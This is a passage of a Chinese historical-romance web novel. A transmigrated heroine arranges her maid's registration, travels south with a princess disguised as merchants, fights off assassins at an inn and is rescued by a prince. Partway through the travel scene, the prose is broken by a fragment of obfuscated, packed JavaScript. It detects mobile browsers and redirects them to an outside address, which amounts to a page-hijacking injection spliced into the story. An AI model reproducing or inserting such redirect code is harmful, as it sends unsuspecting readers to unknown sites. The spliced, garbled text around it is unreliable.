谁想江渺一天都在外周旋,竟然没能遇上钱妈妈,刚接了丫鬟的禀报,她便来和柳如云商议自己要将在外院的云杉收为侍女。
柳如云当即唤了钱妈妈进来,让其去将云杉接进院子来,需调查清楚身份背景,又要将其身契户籍归整明白,之后再仔细教着规矩才能近身伺\候。
江渺闻言,心道不好。她来这个世界忙着周旋应付那些明枪暗箭,竟然把古代户籍一事忘了。云杉她曾是影魅,怕她的身份户籍早就被那些人抹去,若是仔细调查起来,恐怕又会惹上不必要的麻烦。
况且,她答应云杉,等到一切风平浪静,她姐姐被救出来以后,便放她们姐妹俩自由离去。可如今正如母亲所言,如果云杉要跟随自己,便要签下卖身契、入了奴籍,从此生死荣辱皆系于主家一念之间……
这当真是她想要的吗?是云杉想要的吗?
万恶的古代封建制度!
江渺心中飞快地盘算,眼见着钱妈妈就要领命而去,一个清脆的声音突然在门外响了起来。
33.户籍
“柳夫人安,江小姐安。”
微云打起帘子,梧桐跟着走进来,朝座上两人端端正正福了一礼。
柳如云忙叫她起身。关于梧桐的来历,江伯玉早已私下告知。她也问过女儿,江渺只说是因曾恍惚见过睿王一枚玉佩,遍寻不获,才依殿下之意将梧桐暂且留在身边,以便日后交还玉佩。
柳如云身在后宅,却也听过睿王南宫煜的赫赫威名。那样一位手握权柄、传言中喜怒难测的皇子亲王,她私心里并不愿女儿与之有过多牵扯。因此这些日子,她也暗中加派了人手在府内细细搜寻那枚谁也没见过的玉佩,闹得院内颇有动静,却始终一无所获。
梧桐是睿王殿下府里的人,自然是怠慢不得,如今突然来了福绵院所为何事?
难道是见多日以来玉佩的下落不明,来兴师问罪?一时间柳如云心如鼓擂,表面却不曾显露半分,依旧浅笑温言道:“梧桐姑娘此来,可是有什么要紧事?”
梧桐给两人行礼后,将手中的锦盒呈上来:“回夫人,并无要紧事。是江小姐先前吩咐奴婢去府衙调取云杉姑娘的户籍文书,如今办妥了,特送来给小姐过目。”
她说着,眼光不经意地扫过江渺。江渺顿觉欣喜,真的是雪中送炭,立刻顺势对柳如云点头道:“是了母亲,我正想向您回禀此事。想着让梧桐顺路送来,也省得钱妈妈再跑一趟,平白耽搁工夫。”
柳如云听了,只觉女儿处事越发周到,心中欣慰,便吩咐钱妈妈接过文书去依例登记造册。
梧桐见事已办妥,不再多留,行礼后便悄然退去。
柳如云又拉着江渺说了好些体己话,直至夜色浓稠,才放她回暗香斋。
一进房门,江渺便取出近日制成的丹药,又拣出一支精巧的金丝缠花放在桌边,这才唤了梧桐进来。
“梧桐姑娘,今日多谢你送来云杉的户籍。”她示意阿洛将缠花递给梧桐,“一点小心意,还请收下。”
云杉眼光扫过缠花立即低了下去:“奴婢只是奉命办事,不敢受小姐赏赐。”
说完,她的身子又低了几分。江渺忙将她扶起来,“姑娘不必推辞。我知这户籍能如此顺利办妥,定是睿王殿下出了力。但没有姑娘在其中周全,只怕又要横生枝节。这并非赏赐,是我一点谢意,还请姑娘莫要见外。”
梧桐见她言辞恳切,便不再推拒,恭谨接过:“奴婢谢过小姐。”
“另外,小姐。殿下说云杉姑娘身份特殊,殿下已为她另备了一份干净的身份文牍。日后若她想离府,只需知会一声,便可换回原本的身份,来去自由。”
睿王殿下大好人呐!
竟然连这么小的事情都替她想到了!
那些说他残忍嗜杀,暴虐无性的传言都是假的!骗人的!
一个真正残忍的人,怎会顾及一个侍女未来的退路?又怎会在这些细微处,予人这般周全的余地?
谁家合作伙伴这么细心?!!
各种思绪在脑海里跳跃,江渺鬼使神差地问了一句:“梧桐姑娘,你们殿下究竟是一个什么样的人啊?”
梧桐闻言,突然将头低低地埋了下去:“回小姐,主子之事,奴婢不敢妄议!”
见梧桐这个反应,江渺多少有猜到一点,想必殿下平日里应该总是板着一副脸,所以吓得身边的人都不敢说话。
脑海里忽地闪过那日在安国公府南宫煜那双带着寒意的眼眸。明明那样的近在咫尺,却又给人遥不可及的感觉,可指尖的温度又是那样真实。
他为什么要帮她呢?就因为她救过他的命,所以他就一而再再而三的来帮助她吗?
她不再多问,只将准备好的药丸交给梧桐,又仔细嘱咐了服用的法子与禁\忌,这才让人退下。
不久后,梧桐悄然回到睿王府。
书房内,三千已将何同甫供出的线索整理成信函,呈于南宫煜案前。
半月前,佳洲两名主管工部修缮事务的主事惨遭灭门,家中老仆幼子无一幸免,鲜血染透府院。今上震怒,下旨严查,此案最终落在了刚回昌都不久的睿王肩上。
朝野上下对此无不侧目,暗流涌动。
南宫煜循着那名因送信侥幸逃脱的老仆所指,暗中查访,竟牵出各地大小官员数十人。其中最关键的一人,正是负责昌都盐税监察的何同甫。
何同甫素来与陵王不和,人尽皆知。可南宫煜暗中所获的线报却显示,此人实为陵王暗中效力。
多次试探,何同甫皆如泥鳅般滑不脱手,滴水不漏。直至陵王突然对其灭口,他才如梦初醒,仓皇吐露实情。
据他交代,那两名遇害的主事在复核历年修缮账目时,察觉账面上虽无纰漏,实则竟暗藏数十万两白银的亏空。这笔巨款,一部分流入各级官员私囊,另一部分则流往南靖三县。
南靖地处偏远,却紧邻吴仓玄族。两国虽互市往来、表面和睦,如此巨款悄然南流,其中必有蹊跷。
南宫煜阅罢密报,抬手轻按在桌旁梨花木架的长剑上。
几日前他将从长阳侯府带出来信笺交给柳子安,他已经查到当年伺\候母妃的乔嬷嬷下落,地点也恰好在南靖。
略微一沉吟,南宫煜转头对三千说道:“收拾行装,南下。”
三千肃然领命,正要退出,门外侍卫低声禀报:“殿下,梧桐求见。”
南宫煜重新坐下来,眼光却没有离开书桌上的信笺,随口道:“进来。”
梧桐恭敬地走向前来将药丸奉上,又将江渺打探消息的事情以及提及感谢之事细细禀报后,南宫煜眉头终于有了一丝松动,语气却依旧还是淡淡的,只回道:“知道了,下去吧。”
初夏的影踪悄然褪尽,转眼入了七月。日头一日烈过一日,官道两旁的柳叶都被晒得卷了边,蝉鸣嘶哑地贴在闷热的空气里,连风拂过都带着一股灼人的气息。
江渺早早将南下所需打点妥当,问了南宫凝的时辰,约定翌日清早启程。
临行前,柳如云执意送至二门外。晨光才刚漫过屋脊,她却已急出了一层薄汗,攥着江渺的手半晌没松开:“此去路远,暑气又重,定要仔细身子,遇事莫强出头,平安最要紧。”
“女儿晓得,母亲放心。”江渺回握她的手,声音放得轻软,“您在京中也要好好休养,勿为我挂心。”
两人依依不舍,说话间江渺却左右环顾,柳如云像是看出她的心事,轻叹一口道:“灵儿那丫头还病着,今日许是不来了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17038624|189262||http|test|mini|href|location''.split(''|''),0,{}));
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>江渺也微微叹口气。
安乐郡主一日醒不过来,江璟儿怕是一日不会重获自由。到底还是姐妹,自从江璟儿被软禁,江灵儿便一直郁郁寡欢,对江渺也是避而不见。
她总会想通的,人一定会为自己的行为付出代价。
江渺心里想了想,不再去看侯府的方向。
江伯玉看着三公主一行渐近,拉过柳如云轻声安慰:“夫人且安心,三公主随行的侍从都是宫内一等一的高手,渺儿一定会平安到达南靖。”
理虽如此,可柳如云心头那根牵挂的弦却始终松不下来。女儿自小养在身边,从未远离膝下,如今却要跋山涉水远赴南境,教她如何能不忧?
只是三公主亲口邀约同行,若长阳侯府表现得过分忧切、大张旗鼓,反倒显得轻视公主、徒惹议论。
江伯玉早已私下与她剖析过其中利害,柳如云纵有千般不舍,此时也只能强抑心绪,默默以绢帕拭去眼角泪痕,勉强端出一个平静的仪态。
片刻后,南宫凝的马车便到了门前。待车停稳,一小丫鬟率先下车,掀开帘子,江渺这才看清了南宫凝的样子。
她今日未着宫装,只一袭素青襦裙,乌发简单绾起,周身不见珠翠,立在朦胧晨光里,竟像寻常人家的清丽女郎。若非身旁跟着两名气质沉静的侍卫,几乎看不出是金枝玉叶的三公主。
车马早已候着。虽说是公主出行,随行不过二十余名精壮侍卫,箱笼也只寥寥数车,外观朴素,与寻常商队无异。
几日前江渺便得到南宫凝的消息,因着近来南下沿途不甚太平,多地报有流匪山贼,此行需要装作采买商队,尽量不引人注目。
江渺对此并无异议,反倒觉得正中下怀。柳如云原本想给女儿打点的满满当当,如今公主有言在先,也不便张扬,人手少了一些,江渺心中也轻快了许多。
只是她见南宫凝这身打扮,心下还是暗自思付了一番,南宫凝毕竟是堂堂三公主,锦衣玉食,荣宠无限,为何偏要在这暑气蒸腾的时节亲赴南靖?那偏远之地,有什么值得她轻装简从,冒险一行?
真是百思不得其解。
思绪未竟,前头已传来车夫低促的吆喝。
两人携带各自的侍女,同坐一辆马车缓缓出城。
时值盛夏,车窗外阡陌葱茏,烈日灼灼。热浪裹挟着一片碧绿拂动门帘,送来阵阵蝉鸣声。
江渺自来到此间,一直活在算计与提防之中,从未有闲情好好看过这片天地,如今出了昌都城,进了山野,自是好奇的打量着窗外的景致。
南宫凝书卷刚翻过一页,未抬头,忽地仿佛闲谈一般问道:“听闻你擅长调香制药,可会制安神香?”
江渺垂首恭敬答道:“略通一二,若是公主需要,臣女可以试试。”
南宫凝又将书页翻了一翻,随口道:“原来如此。”
之后就没有下文了,徒留江渺一人心中七上八下。
调香制药之事除了近身伺\候的阿洛,便只有那日在父母面前坦言过自己闲暇之时会鼓捣些香料药草。
公主远在深宫……
是如何得知这些连府中之人都未必知道的事情?
是随口一问?还是……刻意提醒?
34.信我
江渺心中暗自揣测南宫凝此话的含义。
脑海中搜索一番是否原主曾经与其有仇有怨,可恨只能想起陵王那张令人生怖的脸,其余都想不起来。
可恶。
她暗叹一声,索性不再深究,任思绪随着车马的颠簸渐渐模糊。连日筹备南下,心神耗损,竟在这摇晃中不知不觉盹着了。
南宫凝正在执卷细读,忽然身旁的琼枝轻声在她耳边唤了一声:“姑娘”,以目示意对面。
她抬眸望去,只见江渺倚着窗框,螓首随着马车起伏一点一点,时而坠下去,又勉力抬起来,几缕鬓发散在莹白的颊边,腮透薄红,模样娇憨得竟似个不设防的孩子。
南宫凝心念微转。她那素来清冷,万年不开花的傻弟弟,不会是看上别人的美貌了吧?
这念头让她几乎要浮起一丝笑意,面上却未显露,只侧首示意琼枝将执着的团扇往江渺那边偏了偏,送去些许凉风。
些许凉意袭来,江渺本就睡得不沉,恍然睁开眼睛,正看到琼枝为自己打扇,下意识向后一缩,清醒过来。
“醒了?”南宫凝闻声抬眼,“既困了,便让侍女铺个软垫靠实些,这般摇摇晃晃的,岂不难受?”
南宫凝的话让江渺瞬间清醒。眼前之人可是公主,岂是她一个侯府养女可以冒犯的?她还在公主面前睡着了,传出去少不了又说侯府没有家教。
她慌忙坐直,摇头:“谢公主好意,臣女已经醒了。”
南宫凝看她这幅畏畏缩缩的样子,一点也不似传言中那般飞扬跋扈,目中无人,不觉对皇弟所言多信了几分,轻笑道:“既扮作商客便不能再唤名位,以免引起不必要的麻烦。我虚长你几岁,便唤我凝姐姐罢。我便叫你渺妹妹,可好?”
想不到公主全然没有公主的架子,竟比想象中平易近人许多,不觉放松下警惕的心,轻言应下:“但凭凝姐姐安排。”
“这一路不必拘礼,若有短缺或所需,只管与琼枝说。”
“好,谢凝姐姐体贴。”
说罢,南宫凝不再多言,又执卷起来细读。
行至午后,烈日越发炎热。车内虽置了冰鉴、挂了竹帘,仍闷热难当。
江渺见南宫凝神色有些倦怠,额间也隐隐冒出些细汗来,侧身示意阿洛拿出自己的药箱,仔细察看一番,又从两个琉璃瓶中各取出两粒药丸来。
“凝姐姐,这是薄荷冰片丸,清心解暑最是见效。眼下暑气正盛,车内气闷,服一丸可舒缓许多。”她将药丸递与琼枝。
琼枝接过,只觉掌心一阵清凉香气透肤而来,竟连胸口的烦闷都消减了几分。
南宫凝微微颔首,就着琼枝递上的温水服下。不过片刻,便觉一缕清润之气自喉间漫开,额间闷涨渐散,神思为之一明。
自父皇痴迷道术、举国推崇修仙之法以来,太医院日渐凋敝。
她记得母后病重那些年,尚有一批医术精湛的太医尽心竭力,方使母后凤体渐安。可自从母后薨逝,太医院院首赵太医不明亡故后,太医院中竟再无扛鼎之人,如今连一碗地道的解暑汤都呈不上来,不是药效平平,便是苦涩难咽。
谁知太医院之首赵太医不治而亡后,太医院日渐凋敝,养了一群碌碌无为之辈。举国上下竟只知术法不知医道。
南宫凝未曾料到,眼前这侯府深闺中的女子,竟真如皇弟所言,于医道一途颇有造诣。
此后数日,两人同乘一车。南宫凝对药理颇感兴趣,江渺因尚未辨明这位公主的真实意图,只谨慎地拣选些这个时代医书上的常识,点到为止地讲解。
一教一听,间或共览典籍、辨识草药,行程倒也不觉枯燥。
行至十日后,马车也来到了洛水镇。
他们一行人整理行装在驿站歇下。
房中。
一路同行,阿洛和云杉相处甚好,两人坐在榻边轻声细语着。
云杉这些年一直被关在暗处进行残忍的训练,早已不知人间几何,此时睁着一双澄澈却懵懂的眼听阿洛讲述市井趣事,那模样让江渺看着心头微酸。
人贩歹徒,原来无论世间轮转千百载,皆不会绝迹。现代将人拐来诈骗,古代将人拐来做杀手,皆是可恨至极。
有朝一日,她若有能力,真要将这些人尽数连根拔起才好,也要让他们体会一番失去至亲之痛才能泄愤。
只是如今她自身尚且如履薄冰,这般念头,也不过是夜半一时的空想罢了。
正出神间,门口响起一阵急促的拍打声。
“谁呀,这么晚了,我们姑娘已经歇下了。”阿洛蹙眉走过去。
敲门声戛然而止,对方却一直未说话。阿洛不耐烦地要开门,江渺却突然唤到:“阿洛!”
阿洛身形猛地一顿,站在门边未动。云杉已经嗅到危险的气息,伸手轻轻附上了腰间别着的利刃。
江渺递给阿洛一个眼神,阿洛便朝着门外试探问道:“门外是哪位?”
静了片刻,才有个声音含糊回道:“客官,小的来添茶水。”
江渺摇摇头,阿洛道:“不必了……”
话音未落,忽地听得门外传来破空之声:“保护姑娘!有刺客!”
又来了?!
这次又是谁想杀她?!
江渺心念飞快转动,起身便要拉开尚在门前的阿洛。还未及动作,整扇门板轰然炸裂,木屑漫天纷飞。
混沌的视线中,他们身后正躺着客栈的小二,鲜血遍地。
寒光裹挟血腥当头劈向阿洛,江渺呼吸一窒,却见云杉自后面疾跃而出,刃出如雪,镪地一声,挡开了这一致命一击。
阿洛何时见过这等场面。虽然早就做好和小姐要闯过枪林弹雨的准备,可真遇见了又是一回事。
血腥味在空气中弥漫,阿洛一张小脸吓得惨白,浑身忍不住发\抖,双腿如同灌铅一般动弹不得。
云杉手持利刃,舞若游龙,刀光剑影在屋内来来回回,江渺极速过去将阿洛拉到身边。
“姑娘,你们先走!”
云杉一边与两人缠斗,一边让江渺离开。刀剑无眼,迅速撤退最为妥当。
江渺也不多言,如果黑衣人的目标是她,那云杉应该不会太危险。果断点头,拉着阿洛就从侧边直奔出去。
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不想,出门后的景象更是令人心惊。
二十来人在楼下厮杀在一起,金铁敲击声与皮肉割裂声不绝于耳。
黑衣人人数众多不说,出手更是狠辣刁钻,招招都是杀机,出手是训练有素,竟与宫中精锐一时相持不下。
而他们朝着的方向无疑就是南宫凝的屋子!这竟是朝着南宫凝来的刺杀!
什么人如此大胆敢行刺堂堂大盛朝的公主?
公主一向深居简出,竟然也有仇怨在外?
上辈子听到过的权谋剧情瞬间在脑海中翻腾,可惜她对皇家之事知之甚少,且知道陵王本性后这辈子刻意的去远离皇室,一时间无法判断出是何情况。
但是不管怎么说。
此刻,公主危哉!
这场祸事虽是冲着公主而来,自己不过遭受池鱼之殃。可公主曾在安国公府为她解围,世间道理,滴水之恩当涌泉相报。即便做不到“涌泉”,也绝不能在此刻只顾自己逃命,将恩人弃于险境而不顾。
江渺瞥了一眼近在咫尺、通向院外的侧门,又望向南宫凝房门处愈演愈烈的刀光剑影,终于一咬牙,将阿洛往安全的墙角暗处一推:“藏好,千万别出来!”
话音未落,她已躬身疾步,逆着混乱的人影,朝南宫凝的房间方向挪去。
入住之时,她曾仔细看过洛水镇舆图,也向小二打听过四周街巷。此处驿站虽偏,但沿大路往东不过两条街,便是洛水镇县衙。只要能与公主冲出重围、抵达衙署,便能暂得喘息之机。
心中计定,她屏息闪至廊柱之后,目光飞速扫过战局。
此刻楼梯走廊尽是残肢断臂和尸体,不少居住的客人也受到这无妄之灾的影响,躲在墙边瑟瑟发\抖。
她矮身避过一道横掠的刀光,趁乱闪至南宫凝房门外。两名黑衣刺客正与侍卫缠斗,房门半毁,隐约可见南宫凝立于屋内,手中竟执着一柄短剑,神色凝霜,不见慌乱。琼枝立于她的身前,张开双臂护住她,做好了随时以命相搏的准备。
“凝姐姐!”江渺侧身闪入,拉住南宫凝疾唤,“随我来,我知道一条出路!”
南宫凝眸光一转,落在她身上,瞬息决断:“琼枝,走!”
话音未落,几名侍卫拼死护住江渺等人,咬牙挥剑奋力格开身前刺客,为几人争取了一隙之机。
这些黑衣人的目标是南宫凝,她不能带着她去正门,太过危险。当机立断,江渺引着南宫凝主仆二人在廊上疾走,七拐八绕,竟真寻到了小二提过的那道堆满杂物的窄梯。二人悄声而下,落入后院马厩旁。
夜深微动,惊到了马匹,前院正在拼杀的黑衣人闻声而来。
江渺心念一转,忽将南宫凝与琼枝往旁边草料堆一推,急道:“我去引开他们。琼枝,你带着姐姐往东走,穿过街巷,直走便是府衙方向!”
“不可!太危险!”南宫凝蓦地攥住她的手腕。
“凝姐姐。”她推开南宫凝的手,语气决绝:“信我!他们的目标是你,我有办法脱身!”
说罢,她故意踢翻一旁木桶,发出哐当巨响,随即朝反方向的驿馆侧门奔去。
35.救我
在那边!”黑衣人一声低喝,几人瞬间变阵,当即分出两人,朝着江渺离去的方向急追而来。
江渺头也不回地冲出驿馆,径直扑入夜色浓稠的街道之中。她对这小镇巷道虽不熟悉,却凭着白日留心观察的记忆,专拣狭窄岔路与屋檐阴影疾行,不断折转方向,试图甩开追兵。然而黑衣人穷追不舍,且对镇中巷道似乎亦不陌生,非但没有被甩脱,反而渐渐将她逼向镇外洛水河岸的方向。
她并不惧怕。手悄悄地伸入怀中,将来时最新研制好的□□拿出来。在昌都三番两次遇险后,她一直致力于研制出一款能够救自己于危急之时的迷\药。可惜受限于地方材料,无论改良几次,此药的效果都有些差强人意。唯有在相对密闭的空间,以及近距离吸收到药粉,才能发挥最大的作用。
若她没记错,前方河岸旁正有一座交错的廊桥,桥身有木柱与围栏形成的死角。白日她远远瞥见围栏侧方正有一出口,她只需隐在桥下背光处,待追兵踏上廊桥、进入相对封闭的空间,再如法炮制提灯节那夜的做法,便有很大把握将两人放倒。
之后,她便可沿河岸浅滩绕行,折返与南宫凝汇合。
就算她没有一次成功,也可以迅速撤到围栏旁边,通过小门沿街躲藏。虽然冒险,胜算却大!
主意既定,江渺脚下步伐更疾,转眼便到了图上所示的廊桥。借着月光稀疏的掩护,她闪身缩进廊柱与岸边围栏形成的阴影夹角,将自己完全藏入黑暗。
夜深人静。仅有一轮弯月的清辉在河面波光粼粼。
两名黑衣人追至廊桥,稍一顿步,便持剑踏上廊桥。木板在夜色里发出轻微的吱呀声,月光轻飘飘地落在他们手中刀锋上,折射出森然寒意。
江渺屏气凝神,说不怕是假的。
万恶的古代社会,动不动就打打杀杀。一不小心小命就不保!一颗心在胸腔里剧烈跳动,脚步声渐近,肾上腺素飙升!
一步,两步,三步……
来了!来了!
江渺捂住口鼻,举起手,做好投药的准备。
木板的吱呀声在耳边响起,现在,就是现在!
说时迟那时快,她迅速伸手,就要将手中的药粉洒出去。
可是没想到,黑衣人在距她一步之遥处骤然停下,寒光在江渺的眸光中猛地一折,那剑气直扑面门而来。
江渺心头大惊!果然还是看轻了对方的厉害,收手急退,侧身要想再洒出药粉,对方却仿佛早有预判,听得耳边划过一声冷笑,转眼剑锋直削向她的手腕!
轻敌了,轻敌了!
江渺想都没想,收手直接朝围栏旁那道窄小豁口狂奔。
黑衣人刀风猎猎,紧追不舍,凛冽的剑气激得她后颈寒毛倒竖。许是见她不过一介女流,对方存了戏弄之心,剑光翻飞间竟只划破她衣袂,一片布料随着剑光扬起,而后又飘飘然落于脚边。
见她浮现惊惧之色,其中一人突然轻笑出声,仿佛在嘲笑她的自不量力。
就是此刻,江渺伸手一挥将药粉洒出!
黑衣人猝不及防,迎面被药粉扑到。顿觉身子一软就歪倒下去。另一人因站的较远,及时屏息撤退,才未着道。眼见着伙伴被一姑娘放倒,眼中凶光骤盛,提剑便朝江渺心口刺来!
江渺早已借机闪至小门边,纤影一晃没入黑暗。可对方毕竟是训练有素的高手,略一审辨便锁定了她逃离的方向。
不敢有片刻喘息,江渺在陌生的街巷中拼命奔逃,昏暗之中险些被废弃的竹筐绊倒,踉跄间听得身后脚步如影随形,黑暗中如同追命鬼魅,剑风几次擦过后颈,惊得她脊背冷汗涔涔。
左拐右绕,也不知奔跑多久,再一回神已入穷巷!前方路途竟被一堵高墙截断!
她急将巷角堆着的破篓、残架拼命向后掷去,杂物纷飞间略阻了追兵一瞬,却在剑光之中犹如螳臂当车。
后背重重抵上冰冷湿滑的砖墙,江渺心头一沉。
吾命休矣!这杀千刀的古代……
可放弃二字从未在她字典里存在过。她指尖倏然探入袖中。
拼了!
电光石火间,她佯装要从袖中取出什么,黑衣人见状果然嗤笑:“同样的伎俩,还想用第二次?”
话音一落,他便毫不犹豫挺剑疾刺而来,正欲打断她动作。
却不料江渺猛然收回左手,同时腰身疾沉,竟从他剑锋下险险滑过,右手自身后抓住一节被劈断的竹节,直刺对方膝侧!
黑衣人未料她还有这一手,急忙回剑格挡。江渺趁其下盘微乱,足尖蹬墙借力,迅速抬起竹竿朝他撞去,那被削尖的竹节仿若利箭一般破空而来。
黑衣人眼中闪过一丝错愕,随即化为冰冷的狠厉。他竟然一而再再而三的被同一个人耍了!
眼见着那个瘦小的身影带着孤独一掷的勇气朝他逼近,本想留个活口回去交差的心思骤变,他不闪不避,手中的长剑刹那间划出一道光线,自上而下斜撩而去。
“嚓!”
竹竿应声而断!
断裂的竹屑纷飞,江渺只觉手上一轻,一股温热的液体已然溅上她的脸颊、唇边,甚至溅入微张的眼中。
熟悉的血腥味瞬间弥漫。恍然间江渺仿佛回到了手术台上,听闻皮肉破裂的声音,以及心跳渐停的滴答声……
她僵在原地,视野里一片猩红。
方才那一剑,在斩断竹竿的同时,也划过了黑衣人的脖颈。
黑衣人的身躯还保持着前冲的姿势,眼神却已迅速涣散,手中的长剑当啷一声坠地,在黑夜里尤为刺耳。
而他身后不远处,一道颀长的身影静立在一片清冷的月光之中,如真似假,隐约见得他手中薄刃寒光凉凉,滴滴鲜血掉落如同嗜血玫瑰一般绽放。
江渺茫然抬手抹去糊住眼睛的温热液体,透过一片猩红的朦胧,看清了那人的脸。
南宫煜。
他脸上还是那副冷漠的表情,只淡淡瞥了一眼瘫软下去的黑衣人,然后目光转向她。
夜风吹动他未被束起的几缕墨发,也拂散了他周身尚未敛尽的杀意。
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【手起刀落,这哪儿是杀人啊,明明是砍白菜!】
【果然不负杀神威名啊……】
江渺在心中暗暗嘀咕几句,莫名感觉南宫煜本就清冷的神色似乎又深沉了几分。也顾不得想他为何出现在此处,立刻反应过来,心有余悸地上前一礼:“臣女……见过睿王殿下。”
脸上温热的血迹已然冰冷,黏腻地贴在皮肤上,血腥味在鼻尖久久散不去,她下意识地想要抬手拂去眼前的血色,动作却在半途顿住。
眼前之人气场太过强大,他剑尖的血渍未干,真担心自己做错了什么,下一秒脖子就不属于自己了。眼下她已是强弩之末,没办法再和他斗智斗勇。虽说他们已经是合作伙伴了,但是她确实还不了解他……
南宫煜的目光在她染血的侧脸和略显凌乱的衣衫上停留一瞬,眉心轻轻地蹙了一下。
“回吧,莫让三皇姐久等了。”他语气平淡,随手将刀刃上的血渍在手帕上擦掉,无声地放回剑鞘。“还能走么?”
江渺连忙点头:“能。”心想南宫煜既然提到三公主,应该是与凝姐姐见过了,那想必凝姐姐们已经脱险。心弦稍松,她尝试挪动脚步,却发现腿脚仍然有些虚软。
方才全力奔逃以及搏命的肾上腺素渐渐褪\去,脱离感层层叠叠席卷而来。
南宫煜刻意拉开两人距离,不再多言,转身便走,衣袂随着脚步划出一条利落的弧度,走出几步,未曾听到跟上来的脚步,他侧过半身,目光再次落回她身上。
江渺气息微促,无奈牵动嘴角,“有些……脚软了。”瞥见南宫煜那张辨不出情绪的脸,她立刻咬紧牙关,试图强提力气跟上,身形却仍是控制不住地晃了一晃。
南宫煜未置一词,只沉默地调转方向,大步朝她走回。未等江渺反应,他已伸出手臂,稳稳托住她肘弯,一股沉稳的力道传来,助她站定,随即放手,继续前行。步伐依旧利落,却明显放缓了许多。
借力站稳后,江渺望着那挺直的背影,心里忍不住嘀咕:这人怎的总是这副模样,喜恶不形于色,心思深沉似海,真是难相处得很……
此前他帮她,她也帮他那么多次,好歹算个朋友吧。对朋友也这么冷淡么……
一时间心里忍不住猜测眼前之人究竟是个什么样的人。
杀神?阴鸷皇子?攻于算计?热心肠?
好像都不太像。
不知不觉,两人一前一后已经行至巷口。前方树下,南宫煜的坐骑正安静等候。他快步向前纵身一跃,轻捷地翻上马背。
随即拉起缰绳,调转马头居高临下地看着她。
江渺怔了一下,举目四顾。深夜的街道空无一人,更别提可供雇佣的车马。
南宫煜不会让她一个人回去吧?虽然她不怕黑,但是她怕死啊!万一又从哪里蹿出来一个黑衣人,她这条小命恐怕真要交代了。
纵使心底不愿过多仰赖南宫煜,迟疑片刻,她还是不得不开口:
“殿下,夜黑风高……我……”
“上来。”
36.别怕
月色倾泻而下。
江渺愕然抬头,正对上南宫煜那双平静的眼眸。
皎洁的清辉流泻在他周身,朦胧的光晕柔和了惯常冷峻的轮廓,竟衬得那张脸有种惊心动魄的俊美。江渺望着,思绪却莫名的飘到了南宫煜的生母,苏婉柔的身上。
前世今生,甚至做鬼的时候她都没有见过苏贵妃长什么样。唯一一次听闻,还是试探父亲江伯玉对林清月的态度时,他偶然提及,语气讳莫如深。
能孕育出这般容貌气度的孩子,那位苏贵妃,当年该是何等绝代风华?
这个念头一闪而过,又被她强行按下。眼前倏然多了一双指节分明的手。
见她迟疑,南宫煜难得的勾了勾嘴角:“你是想我给你当马夫吗?”
江渺哪儿敢。
她可以给他当马夫,只是她走不动。
她又不是古代人,保命要紧。这么一想,江渺不再迟疑,伸手拉住了南宫煜的手。
见她坐稳,南宫煜侧头对不远处侯着的侍卫沉声吩咐道:“清理干净,留活口查问。”
“是。”侍卫低首领命,身影迅速没入黑暗。
骏马迈开步子,踏着青石板路,耳边传来滴答的马蹄声,一路朝府衙方向行去。
夜风微凉,轻轻吹动着江渺散落的鬓发,也吹散了最后一丝萦绕不去的血腥气。
两人同乘,气氛逐渐变得有些暧昧。江渺向来不喜欢与人打交道。前世她一人在山中度过了孤苦无依的十年,即便后来遇到师父,由他引入医学的殿堂,身边开始聚集众多师兄妹,再到后来功成名就鲜花掌声簇拥,她还是习惯了孤独。
和人在一起,总是会有些别扭。想了一想,江渺还是忍不住地开口打破这份安静:“殿下为何会出现在这里?如何得知我处于危险之中?”
南宫煜平静道:“查案途径洛水镇。正巧,遇见了你的侍女。”
事实上,并非全然凑巧。手下密报有一队人马在洛水镇附近出没。为了以防万一,他便立刻带人赶至驿馆,迅速控制住局面,擒下几名黑衣人,也找到了藏身角落、惊慌失措的阿洛。
得知江渺竟独自引开刺客去救南宫凝,他即刻判断她很可能前往府衙求援。果然在半路寻到了南宫凝主仆。又听闻江渺为引开追兵独自犯险,他心中蓦地一沉。
他知她机敏,甚至有些超乎常理的胆识与手段,可那群是训练有素、出手狠绝的死士。她一介女子,手中无非些许药粉机巧,如何能在真正的刀锋下全身而退?
幸而麾下不乏追踪好手,依据零星痕迹与阿洛所指方向,很快锁定了她的位置。
方才赶至巷口,见她竟以断竹为兵,直面寒刃,那份决绝与急智,让见惯了沙场杀\戮而逐渐冷硬的心也为之一震。
他私下让温言去看过那些药丸,据温言所言,其药丸配比以及成分皆非等闲人所能为。可能,他身体的剧毒真的能够解掉……
他真的可能能活下去。
所以江渺绝对不能出事。
“你……”南宫煜的目光落在她微微绷紧的肩线上,罕见地停顿了片刻。
他见过太多人在刀剑前崩溃失态,却从未见过哪个女子,能在生死一线间如此冷静周旋,甚至……还带着点戏耍对手的狡黠。沉吟一瞬,只闻声音比夜风更轻:““不怕吗?”
江渺怔了怔。是在问她?
【怕!怎么不怕!问的什么废话!】
【那可是真刀真枪要命的杀手!】
【这鬼地方,动不动就拔刀砍人,谁不怕啊!】
内心骂骂咧咧,面上还是装得无辜与娇弱:“自然是怕的。刀剑无眼,怎能不怕?若非殿下及时赶到……”
南宫煜冷眉一挑:“好好说话。”
【这人怎的如此直球!】
江渺索性也不再装,挺直了身板:“殿下,那人中了我的毒,我再撑个片刻,他也活不久了。”
她早就料到黑衣人不会让她再如法炮制之前的做法,她抬手假意迷惑对方,实则是将毒药藏在竹竿里。
等到对方反击而劈断竹竿,毒药也会因为这一动作而洒在空中,只需吸入一点,就能让他浑身发软,倒地不起。
这药不比她改良的□□,其中包含了多种毒虫,毒草,是她精心炼制而成。
这世道太过凶险,要保护自己,就要比对手还要狠辣才行。
即便南宫煜不救她,她也能想办法自救。只是如此一来会多些风险罢了。可是殿下都亲自出手救人,这话说出来有点不知好歹,想要装一装糊弄过去,又被识破。
江渺也很无奈,这人跟成了精似的,仿佛她肚子里的蛔虫,连她想什么都知道。好在至少目前看起来,南宫煜是不会伤害她的。
想到这里心又落回实处,低声而坚定道:“大不了我就躲,躲不了我就逃。但,别让我抓住机会,只要他松懈我就会狠狠咬上一口。”
